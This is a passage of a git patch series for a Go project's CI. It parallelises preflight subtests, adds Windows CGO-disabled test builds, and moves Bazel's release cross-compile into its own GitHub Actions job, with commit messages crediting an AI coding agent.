GOCACHE with the hook-timeout step above (same tags, same platform + # GOCACHE with the hook-timeout/bd-build-fallback step above (same tags, same platform # default CGO_ENABLED, see the script's header) so it is a relink rather # than a second cold compile: without GOCACHE here it fell back to the # runner's empty default cache and cold-compiled all of ./cmd/bd on every diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 6d4f8f454..8bc7ebb4e 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -927,8 +927,9 @@ Required` requires them to have run remotely and passed. `tools/bazel/equivalence_allowlist.txt` holds only the two `cmd/bd` tests of plain `go test`'s own bd build fallback, which Bazel never - takes; `pr-preflight-platforms` runs them on every OS ("Exercise go - test's bd build fallback"). `TestBazelOnlySkipsAreAllowlisted` (under + takes; `pr-preflight-platforms` runs them on macOS and Windows + ("Exercise generated Git hook timeout process boundary and go test's bd + build fallback"). `TestBazelOnlySkipsAreAllowlisted` (under Bazel too) requires every top-level test with a `TEST_SRCDIR`- or `bazeltest.IsBazel()`-guarded `t.Skip` to have an allowlist `skip` entry, and no test anywhere to run part of its checks under `go test` diff --git a/scripts/ci/warm-non-race-cache.sh b/scripts/ci/warm-non-race-cache.sh index 51b5de8ff..9facc7fa1 100755 --- a/scripts/ci/warm-non-race-cache.sh +++ b/scripts/ci/warm-non-race-cache.sh @@ -28,3 +28,12 @@ go test -tags gms_pure_go -c -o /dev/null ./cmd/bd go test -tags gms_pure_go -c -o /dev/null ./scripts go test '-tags=integration,gms_pure_go' -c -o /dev/null ./scripts go test '-tags=integration,gms_pure_go' -c -o /dev/null ./scripts/gitattributespolicy + +# pr-preflight-platforms' Windows-only "Exercise credential command fixtures on +# Windows" step tests these with CGO_ENABLED=0, which the Windows runner's +# default (CGO_ENABLED=1, gcc on PATH) does not build. +if [[ "$(go env GOOS)" == windows ]]; then + for pkg in ./internal/testutil/credentialcmd ./internal/creds ./internal/storage/dolt; do + CGO_ENABLED=0 go test -tags gms_pure_go -c -o /dev/null "$pkg" + done +fi diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 4878ba465..d3cdeab5b 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -616,8 +616,8 @@ func TestPRCIGateRequiresWindowsGlobalPrimeOverride(t *testing.T) { func TestPRCIGateRequiresGeneratedHookTimeoutProcessBoundary(t *testing.T) { const ( jobName = "pr-preflight-platforms" - stepName = "Exercise generated Git hook timeout process boundary" - stepCommand = "go test '-tags=gms_pure_go' -count=1 -run '^TestGeneratedHookTimeoutProcessBoundary$' ./cmd/bd" + stepName = "Exercise generated Git hook timeout process boundary and go test's bd build fallback" + stepCommand = "go test '-tags=gms_pure_go' -count=1 -run '^(TestGeneratedHookTimeoutProcessBoundary|TestGOMODCACHENotUnderTestHome|TestGoBuildBDCommandIsCWDIndependent)$' ./cmd/bd" gateKey = "PR_PREFLIGHT_PLATFORMS" ) diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index ecbd22c38..3983462d0 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -481,7 +481,7 @@ func TestPRRunsGoTestsBazelSkips(t *testing.T) { } // The allowlist's remaining skip entries run in pr-preflight-platforms // (every OS), each named in its go test selector. - fallback := pr.job(t, "pr-preflight-platforms").step(t, "Exercise go test's bd build fallback").Run + fallback := pr.job(t, "pr-preflight-platforms").step(t, "Exercise generated Git hook timeout process boundary and go test's bd build fallback").Run for _, line := range strings.Split(readPolicyFile(t, root, "tools/bazel/equivalence_allowlist.txt"), "\n") { body, _, _ := strings.Cut(line, "#") f := strings.Fields(body) diff --git a/scripts/pr_preflight_test.go b/scripts/pr_preflight_test.go index 1d5a9354b..f98882c46 100644 --- a/scripts/pr_preflight_test.go +++ b/scripts/pr_preflight_test.go @@ -95,6 +95,7 @@ type preflightRun struct { func TestPRPreflightSupportsGitHubCLIWithoutClosingIssuesReferences(t *testing.T) { t.Run("numeric lookup uses exact canonical GraphQL coordinates", func(t *testing.T) { + t.Parallel() run := runPRPreflightWithFakeGH(t, preflightFixture{}) if run.err != nil { t.Fatalf("pr-preflight failed with old gh field set: %v\n%s", run.err, run.output) @@ -137,6 +138,7 @@ func TestPRPreflightSupportsGitHubCLIWithoutClosingIssuesReferences(t *testing.T }) t.Run("canonical PR URL and zero count preserve warning behavior", func(t *testing.T) { + t.Parallel() run := runPRPreflightWithFakeGH(t, preflightFixture{ prArg: "https://github.com/octo/repo/pull/7", graphQLResponse: closingIssuesZero, @@ -226,6 +228,7 @@ func TestPRPreflightSupportsGitHubCLIWithoutClosingIssuesReferences(t *testing.T } for _, test := range tests { t.Run(test.name, func(t *testing.T) { + t.Parallel() run := runPRPreflightWithFakeGH(t, test.fixture) if exitCode(run.err) != 2 { t.Fatalf("exit = %d, want 2; error=%v\n%s", exitCode(run.err), run.err, run.output) @@ -318,6 +321,7 @@ func TestPRPreflightChecksUseLatestRunPerName(t *testing.T) { `]` t.Run("stale failures and cancellations are superseded by newer green runs", func(t *testing.T) { + t.Parallel() run := runPRPreflightWithFakeGH(t, preflightFixture{rollup: staleGreenRollup}) if !strings.Contains(run.output, "No failed or pending status checks reported.") { t.Fatalf("expected stale rollup entries to be superseded:\n%s", run.output) @@ -328,6 +332,7 @@ func TestPRPreflightChecksUseLatestRunPerName(t *testing.T) { }) t.Run("a genuinely failing latest run still blocks", func(t *testing.T) { + t.Parallel() freshRedRollup := `[` + `{"name":"CI Gate / Required","status":"COMPLETED","conclusion":"SUCCESS","completedAt":"2026-07-27T10:00:00Z"},` + `{"name":"CI Gate / Required","status":"COMPLETED","conclusion":"FAILURE","completedAt":"2026-07-28T10:00:00Z"}` + @@ -339,6 +344,7 @@ func TestPRPreflightChecksUseLatestRunPerName(t *testing.T) { }) t.Run("a commit status cannot supersede a same-named check run", func(t *testing.T) { + t.Parallel() // GitHub treats a check run and a commit status sharing a name as // independent required gates; both must pass. mixedRollup := `[` + @@ -352,6 +358,7 @@ func TestPRPreflightChecksUseLatestRunPerName(t *testing.T) { }) t.Run("identically named jobs in different workflows stay independent", func(t *testing.T) { + t.Parallel() crossWorkflowRollup := `[` + `{"__typename":"CheckRun","workflowName":"Main","name":"Test","status":"COMPLETED","conclusion":"FAILURE","completedAt":"2026-07-28T10:00:00Z"},` + `{"__typename":"CheckRun","workflowName":"Nightly","name":"Test","status":"COMPLETED","conclusion":"SUCCESS","completedAt":"2026-07-28T11:00:00Z"}` + @@ -363,6 +370,7 @@ func TestPRPreflightChecksUseLatestRunPerName(t *testing.T) { }) t.Run("an in-progress rerun with a zero completion time supersedes an old failure as pending", func(t *testing.T) { + t.Parallel() // gh exports absent CheckRun times as the Go zero time, not null. rerunRollup := `[` + `{"__typename":"CheckRun","workflowName":"Main","name":"CI","status":"COMPLETED","conclusion":"FAILURE","startedAt":"2026-07-27T09:00:00Z","completedAt":"2026-07-27T10:00:00Z"},` + @@ -396,6 +404,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { `]` t.Run("all failed across 3+ heads with 5+ decisive runs warns and names the workflow", func(t *testing.T) { + t.Parallel() run := runPRPreflightWithFakeGH(t, preflightFixture{baseRunList: greenBase, prGateRunList: sixRunsThreeHeadsAllFailed}) if run.err != nil { t.Fatalf("expected warn-only exit, got error: %v\n%s", run.err, run.output) @@ -407,6 +416,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("stays warn-only even under PR_PREFLIGHT_BLOCK_RED_BASE=1", func(t *testing.T) { + t.Parallel() // The warn-only property is the load-bearing one: mybd's pr-babysit // classifies any unrecognized [block] line as a genuine merge blocker // and parks merge lanes on it, and it withholds the base-fix @@ -426,6 +436,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("one success in the workflow's sample stays silent", func(t *testing.T) { + t.Parallel() mostlyFailedOneSuccess := strings.Replace(sixRunsThreeHeadsAllFailed, `"conclusion":"failure","headBranch":"branch-c","workflowName":"PR CI","workflowDatabaseId":101,"createdAt":"2026-07-28T05:00:00Z"`, `"conclusion":"success","headBranch":"branch-c","workflowName":"PR CI","workflowDatabaseId":101,"createdAt":"2026-07-28T05:00:00Z"`, 1) run := runPRPreflightWithFakeGH(t, preflightFixture{baseRunList: greenBase, prGateRunList: mostlyFailedOneSuccess}) if run.err != nil { @@ -437,6 +448,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("all failed but only 2 distinct heads stays silent", func(t *testing.T) { + t.Parallel() twoHeadsAllFailed := `[` + `{"conclusion":"failure","headBranch":"branch-a","workflowName":"PR CI","workflowDatabaseId":101,"createdAt":"2026-07-28T10:00:00Z","url":"https://github.com/o/r/actions/runs/1"},` + `{"conclusion":"failure","headBranch":"branch-a","workflowName":"PR CI","workflowDatabaseId":101,"createdAt":"2026-07-28T09:00:00Z","url":"https://github.com/o/r/actions/runs/2"},` + @@ -455,6 +467,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("empty sample stays silent", func(t *testing.T) { + t.Parallel() run := runPRPreflightWithFakeGH(t, preflightFixture{baseRunList: greenBase, prGateRunList: "[]"}) if run.err != nil { t.Fatalf("expected exit 0, got error: %v\n%s", run.err, run.output) @@ -465,6 +478,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("mixed workflows: only the all-red workflow fires, and it is named", func(t *testing.T) { + t.Parallel() mixedWorkflows := `[` + `{"conclusion":"success","headBranch":"branch-a","workflowName":"PR CI","workflowDatabaseId":101,"createdAt":"2026-07-28T12:00:00Z","url":"https://github.com/o/r/actions/runs/201"},` + `{"conclusion":"success","headBranch":"branch-b","workflowName":"PR CI","workflowDatabaseId":101,"createdAt":"2026-07-28T11:30:00Z","url":"https://github.com/o/r/actions/runs/202"},` + @@ -488,6 +502,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("undetermined base health skips the sample", func(t *testing.T) { + t.Parallel() // With no decisive base runs at all, preflight has just warned that it // could not determine base health; diagnosing "red for every PR while // the base branch shows green" would contradict that line. @@ -501,6 +516,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("red base skips the sample even when a workflow would otherwise fire", func(t *testing.T) { + t.Parallel() redBaseRunList := `[{"conclusion":"failure","workflowName":"CI","createdAt":"2026-07-28T09:00:00Z","url":"https://github.com/o/r/actions/base-1"}]` run := runPRPreflightWithFakeGH(t, preflightFixture{ baseRunList: redBaseRunList, @@ -518,6 +534,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("unreadable/non-JSON sample stays silent", func(t *testing.T) { + t.Parallel() run := runPRPreflightWithFakeGH(t, preflightFixture{baseRunList: greenBase, prGateRunList: "gh: rate limit exceeded"}) if run.err != nil { t.Fatalf("expected exit 0, got error: %v\n%s", run.err, run.output) @@ -528,6 +545,7 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) t.Run("BASE_RUN_LIST positively drives the base-branch dispatch, not the PR-gate one", func(t *testing.T) { + t.Parallel() greenBaseRunList := `[{"conclusion":"success","workflowName":"CI","createdAt":"2026-07-28T12:00:00Z","url":"https://github.com/o/r/actions/base-2"}]` run := runPRPreflightWithFakeGH(t, preflightFixture{baseRunList: greenBaseRunList}) if run.err != nil { @@ -542,6 +560,13 @@ func TestPRPreflightPRGateHealthSample(t *testing.T) { }) } +// runPRPreflightWithFakeGH runs scripts/pr-preflight.sh once in its own temp +// dir, call log and environment, so callers that do not t.Setenv may run it +// from parallel subtests. They do: on Windows, Git Bash process creation makes +// each run cost about 1.5s, and the ~29 runs in this file used to take 42s of +// pr-preflight-platforms' Windows leg one after another (gastownhall/beads +// merge group 37710264475). TestPRPreflightFixtureIgnoresHostShellAndGitHubState +// stays serial because it rewrites the process environment. func runPRPreflightWithFakeGH(t *testing.T, fixture preflightFixture) preflightRun { t.Helper() diff --git a/tools/bazel/equivalence_allowlist.txt b/tools/bazel/equivalence_allowlist.txt index 374308a3b..e67a80a63 100644 --- a/tools/bazel/equivalence_allowlist.txt +++ b/tools/bazel/equivalence_allowlist.txt @@ -14,7 +14,7 @@ # Plain go test's own bd build fallback (BEADS_TEST_BD_BINARY unset), which # Bazel never takes (bd comes in through BEADS_TEST_BD_BINARY). pr.yml's -# pr-preflight-platforms runs both on Linux, macOS and Windows ("Exercise go -# test's bd build fallback"). +# pr-preflight-platforms runs both on macOS and Windows ("Exercise generated +# Git hook timeout process boundary and go test's bd build fallback"). cmd/bd TestGOMODCACHENotUnderTestHome skip # no in-test go build under Bazel; pr-preflight-platforms runs it cmd/bd TestGoBuildBDCommandIsCWDIndependent skip # no in-test go build under Bazel; pr-preflight-platforms runs it From 143c418148a9af4a7c26eb516653eb7286340bc2 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 03:13:34 +0000 Subject: [PATCH 160/325] =?UTF-8?q?ci(bazel):=20cut=20per-lane=20fixed=20c?= =?UTF-8?q?ost=20=E2=80=94=20LLVM=20.tar.zst=20slice,=20release=20cross-co?= =?UTF-8?q?mpile=20lane,=20no=20protoc=20build=20(#7379)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * ci(bazel): fetch the LLVM toolchain as a 149 MB slice; re-key the runner cache Port of gascity #7279. @llvm_dist_linux_x86_64 downloaded the 1.94 GB LLVM-22.1.8-Linux-X64.tar.xz and ran a single-threaded `tar -xJf` over 11 GiB to keep a 688 MB slice. That took 94-147 s in every Bazel lane, and every cgo, race and stdlib action waits on it. - llvm_dist.bzl gains `sliced`: download_and_extract of a members-only .tar.zst, plus a missing-member check. The xz path stays. - MODULE.bazel pins the toolchain-llvm-22.1.8-slice-1 asset by sha256 (de614777...6bec5). The URL is gascity's release asset for now; the list form leaves room for a beads mirror of the same bytes. - tools/cc_toolchain/repack_llvm.sh and llvm_members.txt rebuild the slice from the pinned upstream release. - Runner cache v4, keyed on MODULE.bazel too. MODULE.bazel.lock does not record llvm_dist, so the v3 key never changed and kept restoring the 2.9 GB entry that holds the xz archive. - bazel_hermetic_cc_test: a sliced llvm_dist may only download from a gastownhall/beads or gastownhall/gascity release, and its members must equal llvm_members.txt. Verified locally: - Every file in the extracted slice (2009 entries: types, modes, symlink targets, sha256) is identical to the xz extraction. - aquery action keys are identical, base vs head, at the same workspace path: 7565/7565 over deps(//cmd/bd:bd_for_tests) and 7146/7146 over the race deps(//internal/storage/embeddeddolt:embeddeddolt_test). - Extraction time: 178 s (xz) vs 1.9 s (zstd). Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): run the release cross-compile as its own lane After the LLVM slice, bazel-pure is the longest cached Bazel lane (about 170 s). Its "Cross-compile every release target" step takes 54-58 s of that (78.9k configured targets, 25k cache-hit lookups) and shares no analysis with the pure invocations, because release_cross is a split transition. The step moves, unchanged, into a new job, bazel-release-cross ("release cross-compile"). The job uses bazel-pure's runner, `needs: rbe` and skip rule, so it runs in every mode except skip. It reports job.status like every lane: the workflow_call output is bazel-release-cross, and pr.yml's CI Gate requires it as BAZEL_RELEASE_CROSS. bazel-gate.sh skips it only in mode skip, as it does BAZEL_PURE. Merge groups use the same pr.yml gate. Push and dispatch runs gate nothing. Existing gate ids are unchanged. The policy test now pins the step to bazel-release-cross, requires the new gate id, and rejects any other job that runs the script (no double runs). The new job is listed as having no CI analytics step. It captured no BEP as a bazel-pure step either, and the analytics steps are unchanged. Docs: LINTING.md, TESTING.md, CI_REQUIRED_CHECK_TOPOLOGY.md. Expected: bazel-pure about 110 s on cached runs; the new lane about 85 s, in parallel. Cost: one more 2-vCPU Blacksmith runner per run. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * build(bazel): stop building protoc for protoc-gen-validate github.com/envoyproxy/protoc-gen-validate ships validate/validate.pb.go, but its own validate/BUILD makes the Go library a go_proto_library. So every lane built protoc from source just to regenerate that file. The module reaches the graph only through grpc xds and the cloud SDKs. A gazelle_override now regenerates the module's BUILD files with `gazelle:proto disable`. It sets build_file_generation = "on" and adds `gazelle:build_file_name BUILD.bazel`, so gazelle writes BUILD.bazel (which Bazel prefers) instead of keeping the upstream BUILD. The proto directive alone changes nothing, because the upstream BUILD files win. validate is now a plain go_library over validate.pb.go. Measured locally with aquery: - //... minus the manual release_cross target: base has 2096 CppCompile, 612 CppArchive, 314 CppLink and 1 GoProtocGen action; head has 0. - cquery somepath(//..., @protobuf//:protoc): base goes through grpc xds -> envoy core/v3 -> validate_go_proto -> protoc; head is empty. - deps(//cmd/bd:bd_for_tests): 7565 actions become 3077. The race deps(//internal/storage/embeddeddolt:embeddeddolt_test): 7146 become 2658. MODULE.bazel.lock does not change. The v4 runner cache key includes MODULE.bazel, so it still moves. Expect one cold compile of the Go packages above validate on the first run after merge. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 (1M context) * build(bazel): bazel mod tidy formatting Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .github/actions/setup-bazel/action.yml | 9 ++- .github/scripts/bazel-gate.sh | 2 +- .github/workflows/bazel.yml | 101 +++++++++++++++++++------ .github/workflows/pr.yml | 9 ++- MODULE.bazel | 32 +++++++- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 15 ++-- engdocs/LINTING.md | 4 +- engdocs/TESTING.md | 3 +- scripts/bazel_hermetic_cc_test.go | 97 +++++++++++++++++++++++- scripts/ci_analytics_workflow_test.go | 9 ++- scripts/ci_workflow_test.go | 81 +++++++++++++------- third_party/cc_toolchain/llvm_dist.bzl | 35 ++++++--- tools/cc_toolchain/llvm_members.txt | 28 +++++++ tools/cc_toolchain/repack_llvm.sh | 39 ++++++++++ 14 files changed, 374 insertions(+), 90 deletions(-) create mode 100644 tools/cc_toolchain/llvm_members.txt create mode 100755 tools/cc_toolchain/repack_llvm.sh diff --git a/.github/actions/setup-bazel/action.yml b/.github/actions/setup-bazel/action.yml index 92dc96635..8bb03ddd1 100644 --- a/.github/actions/setup-bazel/action.yml +++ b/.github/actions/setup-bazel/action.yml @@ -39,15 +39,18 @@ runs: # unverified repo contents cache is off (write-bazelrc.sh) and the Bazel # binary is not cached, so a poisoned entry (a cache written by an # untrusted run) cannot change what executes. v3: v2 also held Bazelisk's - # download and the contents cache. + # download and the contents cache. v4: MODULE.bazel joins the key because + # the lock does not record non-registry repository rules (llvm_dist), so + # v3 kept restoring the 1.94 GB LLVM .tar.xz after the switch to the + # 149 MB slice. - name: Restore Bazel runner cache id: restore uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: path: ${{ runner.temp }}/bazel-ci-cache - key: bazel-repo-v3-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }} + key: bazel-repo-v4-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel', 'MODULE.bazel.lock') }} restore-keys: | - bazel-repo-v3-${{ runner.os }}- + bazel-repo-v4-${{ runner.os }}- - name: Install Bazelisk shell: bash diff --git a/.github/scripts/bazel-gate.sh b/.github/scripts/bazel-gate.sh index 07bed3644..0101669b4 100755 --- a/.github/scripts/bazel-gate.sh +++ b/.github/scripts/bazel-gate.sh @@ -41,7 +41,7 @@ case "${1:-}" in skips=() if [[ "$valid" == true ]]; then case "$mode" in - skip) skips+=(BAZEL BAZEL_TEST BAZEL_PURE BAZEL_EMBEDDED BAZEL_INTEGRATION BAZEL_DOLTSERVER BAZEL_PROXIED BAZEL_SERVER_STORAGE BAZEL_CMD_DOLT) ;; + skip) skips+=(BAZEL BAZEL_TEST BAZEL_PURE BAZEL_RELEASE_CROSS BAZEL_EMBEDDED BAZEL_INTEGRATION BAZEL_DOLTSERVER BAZEL_PROXIED BAZEL_SERVER_STORAGE BAZEL_CMD_DOLT) ;; local) skips+=(BAZEL_EMBEDDED BAZEL_INTEGRATION BAZEL_PROXIED BAZEL_SERVER_STORAGE BAZEL_CMD_DOLT) ;; cache) skips+=(BAZEL_EMBEDDED BAZEL_PROXIED BAZEL_SERVER_STORAGE) ;; esac diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 625466eb2..6564862f0 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1,8 +1,9 @@ # The Bazel lanes: the only CI run of the Linux Go test tiers. Runs # `bazel test //... --config=ci`, the PR-core selection (race, -short, dolt -# skip), plus one job per tier (pure-Go and js/wasm, the dolt-server lane, -# the embedded-Dolt, proxied-server and server-Dolt storage tiers that -# pr-risk.yml used to run, integration, the cmd/bd Dolt-server tier). +# skip), plus one job per tier (pure-Go and js/wasm, the release +# cross-compile, the dolt-server lane, the embedded-Dolt, proxied-server and +# server-Dolt storage tiers that pr-risk.yml used to run, integration, the +# cmd/bd Dolt-server tier). # # PRs and merge groups run it through pr.yml's `bazel` job (workflow_call). # The legacy go test jobs these lanes mirrored are retired (ga-96smfk.22), @@ -24,9 +25,10 @@ # runs the lane once. Every lane reports its job.status as a workflow_call # output (named after the job) from an always() last step. pr.yml's ci-gate # requires the call's aggregate result (BAZEL) and bazel-test, bazel-pure, -# bazel-embedded, bazel-integration, bazel-doltserver, bazel-proxied and -# bazel-server-storage (BAZEL_TEST, BAZEL_PURE, BAZEL_EMBEDDED, -# BAZEL_INTEGRATION, BAZEL_DOLTSERVER, BAZEL_PROXIED, BAZEL_SERVER_STORAGE); +# bazel-release-cross, bazel-embedded, bazel-integration, bazel-doltserver, +# bazel-proxied and bazel-server-storage (BAZEL_TEST, BAZEL_PURE, +# BAZEL_RELEASE_CROSS, BAZEL_EMBEDDED, BAZEL_INTEGRATION, BAZEL_DOLTSERVER, +# BAZEL_PROXIED, BAZEL_SERVER_STORAGE); # bazel-cmd-dolt (the cmd/bd Dolt-server tier, BAZEL_CMD_DOLT) is advisory: # job-level continue-on-error, and pr.yml requires it only while its # BAZEL_CMD_DOLT_REQUIRED flag is "true" (pr.yml then also passes @@ -167,8 +169,8 @@ # gates no longer consume this artifact (they build their own bd); it is # kept for the F3.5.3 SHA256SUMS comparison and for debugging. # -# Runner cache: one entry per (.bazelversion, MODULE.bazel.lock) pair, about -# 2 GB (Bazel's content-addressable --repository_cache, re-hashed on every +# Runner cache: one entry per (.bazelversion, MODULE.bazel, MODULE.bazel.lock) +# triple, about 1 GB (Bazel's content-addressable --repository_cache, re-hashed on every # hit; never the Bazel binary or the repo contents cache), written # only by a push to main that missed it. No --disk_cache: remote runs use the # remote cache, and local runs would need about 7 GB more. @@ -330,6 +332,9 @@ on: bazel-pure: description: "bazel-pure's job.status" value: ${{ jobs.bazel-pure.outputs.result }} + bazel-release-cross: + description: "bazel-release-cross's job.status" + value: ${{ jobs.bazel-release-cross.outputs.result }} bazel-embedded: description: "bazel-embedded's job.status" value: ${{ jobs.bazel-embedded.outputs.result }} @@ -931,15 +936,15 @@ jobs: retention-days: 7 # Only a push to main that missed the exact key writes the runner cache. - # Its content (--repository_cache only, never the rc - # or credentials) is fixed by .bazelversion and MODULE.bazel.lock, so one - # entry per lock is enough and later pushes do not churn the quota. + # Its content (--repository_cache only, never the rc or credentials) is + # fixed by .bazelversion, MODULE.bazel and MODULE.bazel.lock, so one + # entry per triple is enough and later pushes do not churn the quota. - name: Save Bazel runner cache if: ${{ always() && github.event_name == 'push' && github.ref == 'refs/heads/main' && steps.bazel.outcome == 'success' && steps.bazel.outputs.cache-hit != 'true' }} uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: path: ${{ runner.temp }}/bazel-ci-cache - key: bazel-repo-v3-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel.lock') }} + key: bazel-repo-v4-${{ runner.os }}-${{ hashFiles('.bazelversion', 'MODULE.bazel', 'MODULE.bazel.lock') }} # A redacted, schema'd summary of this invocation's BEP, exec log and # profile: timing, per-mnemonic cache classes, cold actions, test @@ -1107,19 +1112,6 @@ jobs: --execution_log_compact_file="$RUNNER_TEMP/bazel-exec-build-pure.log.zst" --experimental_build_event_upload_strategy=local - # Every release target (scripts/ci/release-targets.txt) on every PR, so - # a platform-gating mistake is caught here instead of at tag time - # (#5662): the whole tree, cgo off, one remote `bazel build - # --platforms=...` per target (the script's header has the coverage - # boundary: the cgo release builds are not compiled here). nogo - # (//tools/nogo) validates every one of those compiles, so this is also - # the lint and vet gate for files only other platforms build - # (//go:build windows, darwin, !linux ...; engdocs/LINTING.md). - - name: Cross-compile every release target (--config=release-cross) - run: | - set -euo pipefail - ./scripts/ci/bazel-release-cross-compile.sh - # `go build` with CGO_ENABLED=0 rejects a pure binary whose imports reach # dolt's cgo-only store/nbs (gozstd). Bazel compiles gozstd's pure stubs # instead, whose init panics (third_party/patches/gozstd_nocgo.patch), so @@ -1212,6 +1204,65 @@ jobs: JOB_STATUS: ${{ job.status }} run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + # Every release target (scripts/ci/release-targets.txt) on every PR, so a + # platform-gating mistake is caught here instead of at tag time (#5662): + # the whole tree, cgo off, one remote `bazel build --platforms=...` per + # target (the script's header has the coverage boundary: the cgo release + # builds are not compiled here). nogo (//tools/nogo) validates every one of + # those compiles, so this is also the lint and vet gate for files only + # other platforms build (//go:build windows, darwin, !linux ...; + # engdocs/LINTING.md). A job of its own rather than a step of bazel-pure: + # release_cross is a split transition that shares no analysis with the pure + # invocations, and as a step it was about a minute on the longest cached + # lane. Same runner and skip rule as bazel-pure (it runs in every mode but + # skip). + bazel-release-cross: + name: release cross-compile + needs: rbe + runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ needs.rbe.outputs.mode != 'skip' }} + timeout-minutes: 90 + outputs: + result: ${{ steps.result.outputs.result }} + steps: + # inputs.checkout-sha: see the header (empty: the event's default ref). + # checkout v7 refuses a fork head on pull_request_target unless opted + # in; only bazel-farm.yml's authorized call opts in (false elsewhere). + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ inputs.checkout-sha }} + persist-credentials: false + allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + + - name: Set up Bazel + id: bazel + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.mode == 'remote' && 'oss' || '' }} + BAZEL_FORK_CACHE: ${{ needs.rbe.outputs.mode == 'cache' && 'true' || '' }} + BAZEL_FORK_REMOTE: ${{ startsWith(needs.rbe.outputs.mode, 'fork-') && 'true' || '' }} + RBE_FORK_TIER: ${{ needs.rbe.outputs.tier }} + RBE_FORK_PR: ${{ github.event.pull_request.number }} + + - name: Cross-compile every release target (--config=release-cross) + run: | + set -euo pipefail + ./scripts/ci/bazel-release-cross-compile.sh + + # Last step: the job's result as a workflow_call output for pr.yml's + # ci-gate. always() runs it after a failure, a timeout or a + # cancellation too. + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + # pr-risk.yml's embedded-Dolt tier ("Test (Embedded Dolt Cmd N/20)", # "Test (Embedded Dolt Storage N/5)", "Test (Embedded Dolt Conformance - # core/audit)") as --config=embedded: the embedded-tagged variants of diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 6cefbbbe6..628ed5dcc 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -1327,9 +1327,10 @@ jobs: } # The Bazel lanes (bazel.yml): the only pre-merge run of every Linux Go - # test tier (PR core, pure-Go and js/wasm, the dolt-server lane, the - # embedded-Dolt, proxied-server and server-Dolt storage tiers that - # pr-risk.yml used to run, integration and the cmd/bd Dolt-server tier). + # test tier (PR core, pure-Go and js/wasm, the release cross-compile, the + # dolt-server lane, the embedded-Dolt, proxied-server and server-Dolt + # storage tiers that pr-risk.yml used to run, integration and the cmd/bd + # Dolt-server tier). # ci-gate requires each of them to have run remotely on rbe-west and # passed, on every pull_request and merge group: same-repo PRs and merge # groups in mode remote, fork and Dependabot PRs through rbe-west's mint @@ -1406,6 +1407,7 @@ jobs: BAZEL BAZEL_TEST BAZEL_PURE + BAZEL_RELEASE_CROSS BAZEL_EMBEDDED BAZEL_INTEGRATION BAZEL_DOLTSERVER @@ -1443,6 +1445,7 @@ jobs: # skipped, which passes only in the modes bazel-gate.sh allows. BAZEL_TEST: ${{ needs.bazel.outputs.bazel-test || 'skipped' }} BAZEL_PURE: ${{ needs.bazel.outputs.bazel-pure || 'skipped' }} + BAZEL_RELEASE_CROSS: ${{ needs.bazel.outputs.bazel-release-cross || 'skipped' }} BAZEL_EMBEDDED: ${{ needs.bazel.outputs.bazel-embedded || 'skipped' }} 